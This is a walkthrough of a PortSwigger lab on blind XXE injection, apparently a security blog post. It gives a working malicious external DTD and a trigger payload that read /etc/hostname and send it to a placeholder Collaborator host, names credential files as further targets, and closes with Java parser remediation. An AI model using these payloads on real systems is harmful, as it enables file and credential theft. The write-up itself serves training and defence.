Exploiting Blind XXE to Exfiltrate Data via a Malicious External DTD
Table of Contents
| Platform | PortSwigger Web Security Academy |
| Topic | XML external entity (XXE) injection |
| Lab | Exploiting blind XXE to exfiltrate data using a malicious external DTD |
| Difficulty | Practitioner |
| Goal | Exfiltrate the contents of /etc/hostname out-of-band |
| Tools | Burp Suite Professional (Repeater + Collaborator) + the lab’s exploit server |
From callback to exfiltration#
The out-of-band lab
proved a blind
parser would call out to us. This one goes the whole way: it reads a file and
sends its contents to us, even though the response reflects nothing. The target
is /etc/hostname.
The trick is a malicious external DTD. We can’t do the full exfiltration dance inside the request’s own inline DTD, because XML forbids referencing a parameter entity from inside another markup declaration in the internal subset. So we host the clever part on a server we control (the lab’s exploit server), and have the target load it as an external DTD, where that restriction doesn’t apply.
Two servers are in play:
- The exploit server hosts our DTD (the logic that reads the file and builds the exfiltration URL).
- Burp Collaborator (a Burp Professional feature) is where the stolen data lands, a unique domain that records any DNS (Domain Name System) or HTTP interaction sent to it.
Step 1: get a Collaborator domain#
Open the Collaborator tab and Copy to clipboard to grab a unique subdomain. That’s the address our DTD will send the file contents to:

Step 2: host the malicious DTD on the exploit server#
On the lab’s product page, click Go to exploit server:

The exploit server is a simple “craft a response” form: a File path, response
Headers, and a Body. We’ll serve our DTD at /exploit:

Put this in the Body (swap in the Collaborator domain from step 1):
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN?x=%file;'>">
%eval;
%exfil;
How the three parameter entities chain together:
<!ENTITY % file SYSTEM "file:///etc/hostname">reads the target file into the parameter entity%file.<!ENTITY % eval "...">defines%eval, whose value is itself another entity declaration. The%is an escaped%: writing the percent literally here means the inner% exfilentity is only interpreted later, when%eval;runs, not while the DTD is first parsed. Without that escaping, the parser would choke on a parameter-entity reference inside a declaration.- The inner
exfilentity points at our Collaborator domain with the file contents appended as a query string:http://…?x=%file;. %eval;expands first, which declares%exfil.%exfil;then expands, which makes the parser fetch the Collaborator URL with/etc/hostnameinx=.
Click Store so the DTD is live at https://YOUR-EXPLOIT-SERVER/exploit.
Step 3: trigger it from the stock check#
Back in Repeater, send a stock-check request whose inline DTD declares a parameter entity pointing at our hosted DTD, then references it so the parser loads and executes it:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://YOUR-EXPLOIT-SERVER/exploit"> %xxe;]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck><!ENTITY % xxe SYSTEM "https://…/exploit"> fetches our external DTD, and %xxe;
loads it into the document, running the %file / %eval / %exfil chain above.
The response is a blind 400 Bad Request with "XML parsing error", nothing
useful, but the parser has already read the file and called out:

Step 4: read the exfiltrated file#
Open the Collaborator tab and Poll now. The parser’s fetch arrives as DNS
lookups and an HTTP request from the target. Select the HTTP interaction and look
at Request to Collaborator, the GET /?x=… line carries the contents of
/etc/hostname, exfiltrated out-of-band:

The User-Agent: Java/21.0.1 confirms the request came from the target’s XML
parser, not a browser. Submit the exfiltrated hostname to solve the lab.
Real-world impact#
This is the full blind-XXE threat in one chain: read an arbitrary file and ship it off the box over a side channel, with nothing shown in the response.
- Exfiltrate secrets blind — the same DTD reads
/etc/passwd, application config,.envfiles, cloud credentials, or SSH private keys and smuggles them out, one request at a time. - Works past egress filters — DNS and outbound HTTP to an attacker domain are frequently allowed even when little else is, so the channel is reliable.
- Entirely blind — no reflected output is ever needed, which is what makes this class so dangerous and easy to miss.
Only ever against systems you are authorized to test.
Remediation#
The root cause and fix are the same as every XXE, and must cover parameter entities and external DTDs:
- Disable DTDs entirely in the XML parser. With document-type declarations rejected, neither the inline DTD nor the external one loads, so the chain never starts.
- Don’t fetch external resources while parsing. Turn off external general and parameter entities if DTDs can’t be fully disabled.
A concrete example, parser-specific (here Java’s DocumentBuilderFactory):
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disallow DTDs entirely — stops external DTD loading and the entity chain
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);Key takeaways#
- When the response is blind and the inline DTD can’t do the work, host a malicious external DTD on a server you control and load it with a parameter entity.
- The
%file/%eval/%exfilchain reads a file and folds its contents into a URL the parser requests;%escapes the%so the inner entity is declared at the right moment. - The stolen data arrives in the query string of the Collaborator request, so blind XXE becomes full file exfiltration.
Related posts#
- Blind XXE with Out-of-Band Interaction — confirming blind XXE first, before exfiltrating with it.
- Blind XXE via XML Parameter Entities — the parameter-entity technique this DTD is built from.
- Exploiting XXE to Retrieve Files — reading a file directly when the response isn’t blind.
- Full series: PortSwigger: XML External Entity Injection .